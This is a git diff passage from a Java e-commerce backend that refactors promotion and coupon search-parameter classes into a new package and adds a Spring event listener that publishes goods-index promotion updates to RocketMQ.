a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivitySearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/KanjiaActivitySearchParams.java @@ -1,7 +1,6 @@ -package cn.lili.modules.promotion.entity.vos.kanjia; +package cn.lili.modules.promotion.entity.dto.search; import cn.hutool.core.util.StrUtil; -import cn.lili.modules.promotion.entity.vos.BasePromotionsSearchParams; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import io.swagger.annotations.ApiModelProperty; import lombok.Data; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/MemberCouponSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/MemberCouponSearchParams.java new file mode 100644 index 00000000..02f1b8f0 --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/MemberCouponSearchParams.java @@ -0,0 +1,103 @@ +package cn.lili.modules.promotion.entity.dto.search; + +import cn.hutool.core.text.CharSequenceUtil; +import cn.lili.modules.promotion.entity.enums.CouponGetEnum; +import cn.lili.modules.promotion.entity.enums.CouponTypeEnum; +import cn.lili.modules.promotion.entity.enums.MemberCouponStatusEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import io.swagger.annotations.ApiModelProperty; +import lombok.Data; +import lombok.EqualsAndHashCode; + +import java.io.Serializable; +import java.util.Date; + +/** + * 会员优惠券查询通用类 + * + * @author paulG + * @since 2020/8/14 + **/ +@EqualsAndHashCode(callSuper = true) +@Data +public class MemberCouponSearchParams extends BasePromotionsSearchParams implements Serializable { + + private static final long serialVersionUID = 4566880169478260409L; + + private static final String PRICE_COLUMN = "price"; + + @ApiModelProperty(value = "会员id") + private String memberId; + /** + * POINT("打折"), PRICE("减免现金"); + * + * @see CouponTypeEnum + */ + @ApiModelProperty(value = "活动类型") + private String couponType; + /** + * @see PromotionsScopeTypeEnum + */ + @ApiModelProperty(value = "关联范围类型") + private String scopeType; + @ApiModelProperty(value = "范围关联的id") + private String scopeId; + @ApiModelProperty(value = "面额,可以为范围,如10_1000") + private String price; + /** + * @see CouponGetEnum + */ + @ApiModelProperty(value = "优惠券类型,分为免费领取和活动赠送") + private String getType; + /** + * @see MemberCouponStatusEnum + */ + @ApiModelProperty(value = "会员优惠券状态") + private String memberCouponStatus; + @ApiModelProperty(value = "消费门槛") + private Double consumeThreshold; + + + @Override + public QueryWrapper queryWrapper() { + QueryWrapper queryWrapper = super.queryWrapper(); + if (CharSequenceUtil.isNotEmpty(couponType)) { + queryWrapper.eq("coupon_type", CouponTypeEnum.valueOf(couponType).name()); + } + if (memberId != null) { + queryWrapper.eq("member_id", memberId); + } + if (CharSequenceUtil.isNotEmpty(scopeId)) { + queryWrapper.eq("scope_id", scopeId); + } + if (CharSequenceUtil.isNotEmpty(scopeType)) { + queryWrapper.eq("scope_type", PromotionsScopeTypeEnum.valueOf(scopeType).name()); + } + if (CharSequenceUtil.isNotEmpty(getType)) { + queryWrapper.eq("get_type", CouponGetEnum.valueOf(getType).name()); + } + if (CharSequenceUtil.isNotEmpty(memberCouponStatus)) { + queryWrapper.eq("member_coupon_status", MemberCouponStatusEnum.valueOf(memberCouponStatus).name()); + } + if (CharSequenceUtil.isNotEmpty(price)) { + String[] s = price.split("_"); + if (s.length > 1) { + queryWrapper.between(PRICE_COLUMN, s[0], s[1]); + } else { + queryWrapper.ge(PRICE_COLUMN, s[0]); + } + } + if (this.getStartTime() != null) { + queryWrapper.ge("start_time", new Date(this.getEndTime())); + } + if (this.getEndTime() != null) { + queryWrapper.le("end_time", new Date(this.getEndTime())); + } + queryWrapper.eq("delete_flag", false); + queryWrapper.orderByDesc("create_time"); + return queryWrapper; + } + + +} diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/PintuanSearchParams.java similarity index 95% rename from framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanSearchParams.java rename to framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/PintuanSearchParams.java index c49cf6af..7524655d 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/PintuanSearchParams.java @@ -1,4 +1,4 @@ -package cn.lili.modules.promotion.entity.vos; +package cn.lili.modules.promotion.entity.dto.search; import cn.hutool.core.text.CharSequenceUtil; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PointsGoodsSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/PointsGoodsSearchParams.java similarity index 96% rename from framework/src/main/java/cn/lili/modules/promotion/entity/vos/PointsGoodsSearchParams.java rename to framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/PointsGoodsSearchParams.java index 11a7df3a..8b6e118b 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PointsGoodsSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/PointsGoodsSearchParams.java @@ -1,4 +1,4 @@ -package cn.lili.modules.promotion.entity.vos; +package cn.lili.modules.promotion.entity.dto.search; import cn.hutool.core.text.CharSequenceUtil; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PromotionGoodsSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/PromotionGoodsSearchParams.java similarity index 97% rename from framework/src/main/java/cn/lili/modules/promotion/entity/vos/PromotionGoodsSearchParams.java rename to framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/PromotionGoodsSearchParams.java index b3da07fc..01f5f211 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PromotionGoodsSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/PromotionGoodsSearchParams.java @@ -1,4 +1,4 @@ -package cn.lili.modules.promotion.entity.vos; +package cn.lili.modules.promotion.entity.dto.search; import cn.hutool.core.text.CharSequenceUtil; import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/SeckillSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/SeckillSearchParams.java similarity index 97% rename from framework/src/main/java/cn/lili/modules/promotion/entity/vos/SeckillSearchParams.java rename to framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/SeckillSearchParams.java index a19f4ec7..74f59153 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/SeckillSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/SeckillSearchParams.java @@ -1,4 +1,4 @@ -package cn.lili.modules.promotion.entity.vos; +package cn.lili.modules.promotion.entity.dto.search; import cn.hutool.core.text.CharSequenceUtil; import cn.lili.modules.promotion.entity.enums.PromotionsApplyStatusEnum; diff --git a/framework/src/main/java/cn/lili/modules/promotion/event/UpdateEsGoodsIndexPromotionsEvent.java b/framework/src/main/java/cn/lili/modules/promotion/event/UpdateEsGoodsIndexPromotionsEvent.java new file mode 100644 index 00000000..94442bf7 --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/promotion/event/UpdateEsGoodsIndexPromotionsEvent.java @@ -0,0 +1,19 @@ +package cn.lili.modules.promotion.event; + +import lombok.Data; +import org.springframework.context.ApplicationEvent; + +/** + * @author paulG + * @since 2022/1/19 + **/ +@Data +public class UpdateEsGoodsIndexPromotionsEvent extends ApplicationEvent { + + private String promotionsJsonStr; + + public UpdateEsGoodsIndexPromotionsEvent(Object source, String promotionsJsonStr) { + super(source); + this.promotionsJsonStr = promotionsJsonStr; + } +} diff --git a/framework/src/main/java/cn/lili/modules/promotion/listener/UpdateEsGoodsIndexPromotionsListener.java b/framework/src/main/java/cn/lili/modules/promotion/listener/UpdateEsGoodsIndexPromotionsListener.java new file mode 100644 index 00000000..00417c5f --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/promotion/listener/UpdateEsGoodsIndexPromotionsListener.java @@ -0,0 +1,41 @@ +package cn.lili.modules.promotion.listener; + +import cn.lili.common.properties.RocketmqCustomProperties; +import cn.lili.modules.promotion.event.UpdateEsGoodsIndexPromotionsEvent; +import cn.lili.rocketmq.RocketmqSendCallbackBuilder; +import cn.lili.rocketmq.tags.GoodsTagsEnum; +import org.apache.rocketmq.spring.core.RocketMQTemplate; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Component; +import org.springframework.transaction.event.TransactionPhase; +import org.springframework.transaction.event.TransactionalEventListener; + +/** + * @author paulG + * @since 2022/1/19 + **/ +@Component +public class UpdateEsGoodsIndexPromotionsListener { + + /** + * rocketMq + */ + @Autowired + private RocketMQTemplate rocketMQTemplate; + /** + * rocketMq配置 + */ + @Autowired + private RocketmqCustomProperties rocketmqCustomProperties; + + + @TransactionalEventListener(phase = TransactionPhase.AFTER_COMMIT, fallbackExecution = true) + public void updateEsGoodsIndexPromotions(UpdateEsGoodsIndexPromotionsEvent event) { + //更新商品促销消息 + String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.UPDATE_GOODS_INDEX_PROMOTIONS.name(); + //发送mq消息 + rocketMQTemplate.asyncSend(destination, event.getPromotionsJsonStr(), RocketmqSendCallbackBuilder.commonCallback()); + } + + +} diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/AbstractPromotionsService.java b/framework/src/main/java/cn/lili/modules/promotion/service/AbstractPromotionsService.java index e0afee22..241f7781 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/AbstractPromotionsService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/AbstractPromotionsService.java @@ -2,8 +2,8 @@ package cn.lili.modules.promotion.service; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.vo.PageVO; -import cn.lili.modules.promotion.entity.dto.BasePromotions; -import cn.lili.modules.promotion.entity.vos.BasePromotionsSearchParams; +import cn.lili.modules.promotion.entity.dos.BasePromotions; +import cn.lili.modules.promotion.entity.dto.search.BasePromotionsSearchParams; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.IService; @@ -110,8 +110,9 @@ public interface AbstractPromotionsService extends ISe * 更新促销商品信息 * * @param promotions 促销实体 + * @return */ - void updatePromotionsGoods(T promotions); + boolean updatePromotionsGoods(T promotions); /** * 更新促销信息到商品索引 diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/CouponService.java b/framework/src/main/java/cn/lili/modules/promotion/service/CouponService.java index f81dde24..47b95335 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/CouponService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/CouponService.java @@ -2,7 +2,7 @@ package cn.lili.modules.promotion.service; import cn.lili.common.vo.PageVO; import cn.lili.modules.promotion.entity.dos.Coupon; -import cn.lili.modules.promotion.entity.vos.CouponSearchParams; +import cn.lili.modules.promotion.entity.dto.search.CouponSearchParams; import cn.lili.modules.promotion.entity.vos.CouponVO; import com.baomidou.mybatisplus.core.metadata.IPage; diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityGoodsService.java b/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityGoodsService.java index 4f84cf77..860d38fc 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityGoodsService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityGoodsService.java @@ -5,8 +5,8 @@ import cn.lili.common.vo.PageVO; import cn.lili.modules.promotion.entity.dos.KanjiaActivityGoods; import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsDTO; import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsOperationDTO; +import cn.lili.modules.promotion.entity.dto.search.KanjiaActivityGoodsParams; import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsListVO; -import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsParams; import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsVO; import com.baomidou.mybatisplus.core.metadata.IPage; diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityLogService.java b/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityLogService.java index 12e591d8..c6a3de22 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityLogService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityLogService.java @@ -4,7 +4,7 @@ package cn.lili.modules.promotion.service; import cn.lili.common.vo.PageVO; import cn.lili.modules.promotion.entity.dos.KanjiaActivityLog; import cn.lili.modules.promotion.entity.dto.KanjiaActivityDTO; -import cn.lili.modules.promotion.entity.dto.KanJiaActivityLogQuery; +import cn.lili.modules.promotion.entity.dto.search.KanJiaActivityLogQuery; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.IService; diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityService.java b/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityService.java index e2a5e2e4..909942e5 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityService.java @@ -4,8 +4,8 @@ package cn.lili.modules.promotion.service; import cn.lili.common.vo.PageVO; import cn.lili.modules.promotion.entity.dos.KanjiaActivity; import cn.lili.modules.promotion.entity.dos.KanjiaActivityLog; -import cn.lili.modules.promotion.entity.dto.KanjiaActivityQuery; -import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivitySearchParams; +import cn.lili.modules.promotion.entity.dto.search.KanjiaActivityQuery; +import cn.lili.modules.promotion.entity.dto.search.KanjiaActivitySearchParams; import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityVO; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.IService; @@ -64,4 +64,11 @@ public interface KanjiaActivityService extends IService { IPage getForPage(KanjiaActivityQuery kanJiaActivityQuery, PageVO page); + /** + * 结束砍价活动 + * + * @param kanjiaId 砍价活动id + * @return 是否更新成功 + */ + boolean endKanjiaActivity(String kanjiaId); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/MemberCouponService.java b/framework/src/main/java/cn/lili/modules/promotion/service/MemberCouponService.java index 56355b2e..a19fcd48 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/MemberCouponService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/MemberCouponService.java @@ -2,8 +2,7 @@ package cn.lili.modules.promotion.service; import cn.lili.common.vo.PageVO; import cn.lili.modules.promotion.entity.dos.MemberCoupon; -import cn.lili.modules.promotion.entity.enums.MemberCouponStatusEnum; -import cn.lili.modules.promotion.entity.vos.CouponSearchParams; +import cn.lili.modules.promotion.entity.dto.search.MemberCouponSearchParams; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.IService; @@ -50,24 +49,33 @@ public interface MemberCouponService extends IService { * @param pageVo 分页参数 * @return 会员优惠券列表 */ - IPage getMemberCoupons(CouponSearchParams param, PageVO pageVo); + IPage getMemberCoupons(MemberCouponSearchParams param, PageVO pageVo); /** - * 获取会员所有优惠券 + * 获取会员优惠券列表 * + * @param param 查询参数 * @return 会员优惠券列表 */ - List getMemberCoupons(); + List getMemberCoupons(MemberCouponSearchParams param); + + /** + * 获取当前用户的优惠券列表(优先读取缓存) + * + * @param memberId 会员id + * @return 会员优惠券列表 + */ + List getMemberCoupons(String memberId); /** * 获取会员优惠券列表 * * @param param 查询参数 - * @param pageVo 分页参数 * @param totalPrice 当前商品总价 + * @param pageVo 分页参数 * @return 会员优惠券列表 */ - IPage getMemberCouponsByCanUse(CouponSearchParams param, Double totalPrice, PageVO pageVo); + IPage getMemberCouponsByCanUse(MemberCouponSearchParams param, Double totalPrice, PageVO pageVo); /** * 获取当前会员当前商品可用的会员优惠券 @@ -88,6 +96,14 @@ public interface MemberCouponService extends IService { */ List getAllScopeMemberCoupon(String memberId, List storeId); + /** + * 获取会员优惠券 + * + * @param param 查询参数 + * @return 会员优惠券列表 + */ + MemberCoupon getMemberCoupon(MemberCouponSearchParams param); + /** * 获取会员优惠券数量 * @@ -95,27 +111,19 @@ public interface MemberCouponService extends IService { */ long getMemberCouponsNum(); - /** - * 更新会员优惠券状态 - * - * @param status 要变更的状态 - * @param id 会员优惠券id - */ - void updateMemberCouponStatus(MemberCouponStatusEnum status, String id); - /** * 使用优惠券 * * @param ids 会员优惠券id */ - void used(List ids); + void used(String memberId, List ids); /** * 作废当前会员优惠券 * * @param id id */ - void cancellation(String id); + void cancellation(String memberId, String id); /** * 关闭会员优惠券 diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/PromotionGoodsService.java b/framework/src/main/java/cn/lili/modules/promotion/service/PromotionGoodsService.java index 93a186d1..f019298b 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/PromotionGoodsService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/PromotionGoodsService.java @@ -4,7 +4,7 @@ import cn.lili.cache.CachePrefix; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.vo.PageVO; import cn.lili.modules.promotion.entity.dos.PromotionGoods; -import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; +import cn.lili.modules.promotion.entity.dto.search.PromotionGoodsSearchParams; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.IService; diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/PromotionService.java b/framework/src/main/java/cn/lili/modules/promotion/service/PromotionService.java index 2349f055..85ad2a41 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/PromotionService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/PromotionService.java @@ -1,7 +1,5 @@ package cn.lili.modules.promotion.service; -import cn.lili.modules.search.entity.dos.EsGoodsIndex; - import java.util.Map; /** @@ -22,9 +20,10 @@ public interface PromotionService { /** * 根据商品索引获取当前商品索引的所有促销活动信息 * - * @param index 商品索引 + * @param storeId 店铺id + * @param goodsSkuId 商品skuId * @return 当前促销活动集合 */ - Map getGoodsPromotionMap(EsGoodsIndex index); + Map getGoodsSkuPromotionMap(String storeId, String goodsSkuId); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/SeckillApplyService.java b/framework/src/main/java/cn/lili/modules/promotion/service/SeckillApplyService.java index b9244031..99b60133 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/SeckillApplyService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/SeckillApplyService.java @@ -2,9 +2,9 @@ package cn.lili.modules.promotion.service; import cn.lili.common.vo.PageVO; import cn.lili.modules.promotion.entity.dos.SeckillApply; +import cn.lili.modules.promotion.entity.dto.search.SeckillSearchParams; import cn.lili.modules.promotion.entity.vos.SeckillApplyVO; import cn.lili.modules.promotion.entity.vos.SeckillGoodsVO; -import cn.lili.modules.promotion.entity.vos.SeckillSearchParams; import cn.lili.modules.promotion.entity.vos.SeckillTimelineVO; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.IService; diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/SeckillService.java b/framework/src/main/java/cn/lili/modules/promotion/service/SeckillService.java index b0edb0b5..2b916e61 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/SeckillService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/SeckillService.java @@ -54,6 +54,14 @@ public interface SeckillService extends AbstractPromotionsService { */ void updateEsGoodsSeckill(Seckill seckill, List seckillApplies); + /** + * 删除商品索引限时抢购信息 + * + * @param seckill 限时抢购信息 + * @param skuIds 商品skuId列表 + */ + void deleteEsGoodsSeckill(Seckill seckill, List skuIds); + /** * 设置秒杀活动的每个参与活动商品的详细时间 * diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/AbstractPromotionsServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/AbstractPromotionsServiceImpl.java index 5264f309..1baa838a 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/AbstractPromotionsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/AbstractPromotionsServiceImpl.java @@ -6,10 +6,11 @@ import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; import cn.lili.common.properties.RocketmqCustomProperties; import cn.lili.common.vo.PageVO; +import cn.lili.modules.promotion.entity.dos.BasePromotions; import cn.lili.modules.promotion.entity.dos.PromotionGoods; -import cn.lili.modules.promotion.entity.dto.BasePromotions; +import cn.lili.modules.promotion.entity.dto.search.BasePromotionsSearchParams; import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; -import cn.lili.modules.promotion.entity.vos.BasePromotionsSearchParams; +import cn.lili.modules.promotion.event.UpdateEsGoodsIndexPromotionsEvent; import cn.lili.modules.promotion.service.AbstractPromotionsService; import cn.lili.modules.promotion.service.PromotionGoodsService; import cn.lili.modules.promotion.tools.PromotionTools; @@ -23,6 +24,7 @@ import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import org.apache.rocketmq.spring.core.RocketMQTemplate; import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.ApplicationEventPublisher; import org.springframework.transaction.annotation.Transactional; import java.util.*; @@ -51,6 +53,9 @@ public abstract class AbstractPromotionsServiceImpl, T e @Autowired private RocketMQTemplate rocketMQTemplate; + @Autowired + private ApplicationEventPublisher applicationEventPublisher; + /** * 通用促销保存 * 调用顺序: @@ -69,8 +74,9 @@ public abstract class AbstractPromotionsServiceImpl, T e this.initPromotion(promotions); this.checkPromotions(promotions); boolean save = this.save(promotions); - this.updatePromotionsGoods(promotions); - this.updateEsGoodsIndex(promotions); + if (this.updatePromotionsGoods(promotions)) { + this.updateEsGoodsIndex(promotions); + } return save; } @@ -92,8 +98,9 @@ public abstract class AbstractPromotionsServiceImpl, T e this.checkStatus(promotions); this.checkPromotions(promotions); boolean save = this.saveOrUpdate(promotions); - this.updatePromotionsGoods(promotions); - this.updateEsGoodsIndex(promotions); + if (this.updatePromotionsGoods(promotions)) { + this.updateEsGoodsIndex(promotions); + } return save; } @@ -212,14 +219,16 @@ public abstract class AbstractPromotionsServiceImpl, T e * 更新促销商品信息 * * @param promotions 促销实体 + * @return */ @Override @Transactional(rollbackFor = {Exception.class}) - public void updatePromotionsGoods(T promotions) { + public boolean updatePromotionsGoods(T promotions) { if (promotions.getStartTime() == null && promotions.getEndTime() == null) { this.promotionGoodsService.deletePromotionGoods(Collections.singletonList(promotions.getId())); - return; + return true; } + boolean result = true; if (CharSequenceUtil.equalsAny(promotions.getScopeType(), PromotionsScopeTypeEnum.ALL.name(), PromotionsScopeTypeEnum.PORTION_GOODS_CATEGORY.name())) { PromotionGoods promotionGoods = new PromotionGoods(); promotionGoods.setScopeId(promotions.getScopeId()); @@ -232,8 +241,9 @@ public abstract class AbstractPromotionsServiceImpl, T e promotionGoods.setPromotionType(this.getPromotionType().name()); promotionGoods.setTitle(promotions.getPromotionName()); this.promotionGoodsService.deletePromotionGoods(Collections.singletonList(promotions.getId())); - this.promotionGoodsService.save(promotionGoods); + result = this.promotionGoodsService.save(promotionGoods); } + return result; } /** @@ -258,10 +268,7 @@ public abstract class AbstractPromotionsServiceImpl, T e map.put("promotionsType", promotions.getClass().getName()); // 促销实体 map.put("promotions", promotions); - //更新商品促销消息 - String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.UPDATE_GOODS_INDEX_PROMOTIONS.name(); - //发送mq消息 - rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(map), RocketmqSendCallbackBuilder.commonCallback()); + applicationEventPublisher.publishEvent(new UpdateEsGoodsIndexPromotionsEvent("更新商品索引促销事件", JSONUtil.toJsonStr(map))); } } diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityItemServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityItemServiceImpl.java index 03eedfa4..b7fcde45 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityItemServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityItemServiceImpl.java @@ -7,6 +7,7 @@ import cn.lili.modules.promotion.service.CouponActivityItemService; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; import java.util.List; @@ -37,6 +38,7 @@ public class CouponActivityItemServiceImpl extends ServiceImpl couponIds) { this.remove(new LambdaQueryWrapper() .in(CouponActivityItem::getCouponId, couponIds)); diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityServiceImpl.java index f9a99c45..ee56fcdc 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityServiceImpl.java @@ -23,6 +23,7 @@ import cn.lili.modules.promotion.tools.PromotionTools; import groovy.util.logging.Slf4j; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; import java.util.*; import java.util.stream.Collectors; @@ -137,10 +138,12 @@ public class CouponActivityServiceImpl extends AbstractPromotionsServiceImpl> memberList, List couponActivityItems) { + @Transactional(rollbackFor = {Exception.class}) + void sendCoupon(List> memberList, List couponActivityItems) { for (CouponActivityItem couponActivityItem : couponActivityItems) { //获取优惠券 diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponServiceImpl.java index df8fc990..076d45ea 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponServiceImpl.java @@ -12,14 +12,14 @@ import cn.lili.modules.goods.service.GoodsSkuService; import cn.lili.modules.promotion.entity.dos.Coupon; import cn.lili.modules.promotion.entity.dos.FullDiscount; import cn.lili.modules.promotion.entity.dos.PromotionGoods; +import cn.lili.modules.promotion.entity.dto.search.CouponSearchParams; +import cn.lili.modules.promotion.entity.dto.search.FullDiscountSearchParams; +import cn.lili.modules.promotion.entity.dto.search.PromotionGoodsSearchParams; import cn.lili.modules.promotion.entity.enums.CouponRangeDayEnum; import cn.lili.modules.promotion.entity.enums.CouponTypeEnum; import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; -import cn.lili.modules.promotion.entity.vos.CouponSearchParams; import cn.lili.modules.promotion.entity.vos.CouponVO; -import cn.lili.modules.promotion.entity.vos.FullDiscountSearchParams; -import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; import cn.lili.modules.promotion.mapper.CouponMapper; import cn.lili.modules.promotion.service.*; import cn.lili.modules.promotion.tools.PromotionTools; @@ -42,7 +42,6 @@ import java.util.stream.Collectors; * @since 2020/8/21 */ @Service -@Transactional(rollbackFor = Exception.class) public class CouponServiceImpl extends AbstractPromotionsServiceImpl implements CouponService { /** @@ -78,6 +77,7 @@ public class CouponServiceImpl extends AbstractPromotionsServiceImpl ids) { //删除优惠券信息 this.memberCouponService.closeMemberCoupon(ids); @@ -104,6 +105,7 @@ public class CouponServiceImpl extends AbstractPromotionsServiceImpl ids, Long startTime, Long endTime) { List list = this.list(new LambdaQueryWrapper().in(Coupon::getId, ids).eq(Coupon::getRangeDayType, CouponRangeDayEnum.DYNAMICTIME.name())); if (!list.isEmpty()) { @@ -221,8 +224,9 @@ public class CouponServiceImpl extends AbstractPromotionsServiceImpl implements FullDiscountService { /** @@ -107,10 +106,12 @@ public class FullDiscountServiceImpl extends AbstractPromotionsServiceImpl promotionGoodsList = PromotionTools.promotionGoodsInit(fullDiscountVO.getPromotionGoodsList(), fullDiscountVO, PromotionTypeEnum.FULL_DISCOUNT); this.promotionGoodsService.deletePromotionGoods(Collections.singletonList(promotions.getId())); //促销活动商品更新 - this.promotionGoodsService.saveBatch(promotionGoodsList); + result = this.promotionGoodsService.saveBatch(promotionGoodsList); } + return result; } diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityGoodsServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityGoodsServiceImpl.java index e36027ac..fa052df6 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityGoodsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityGoodsServiceImpl.java @@ -13,10 +13,10 @@ import cn.lili.modules.promotion.entity.dos.KanjiaActivityGoods; import cn.lili.modules.promotion.entity.dos.PromotionGoods; import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsDTO; import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsOperationDTO; +import cn.lili.modules.promotion.entity.dto.search.KanjiaActivityGoodsParams; import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import 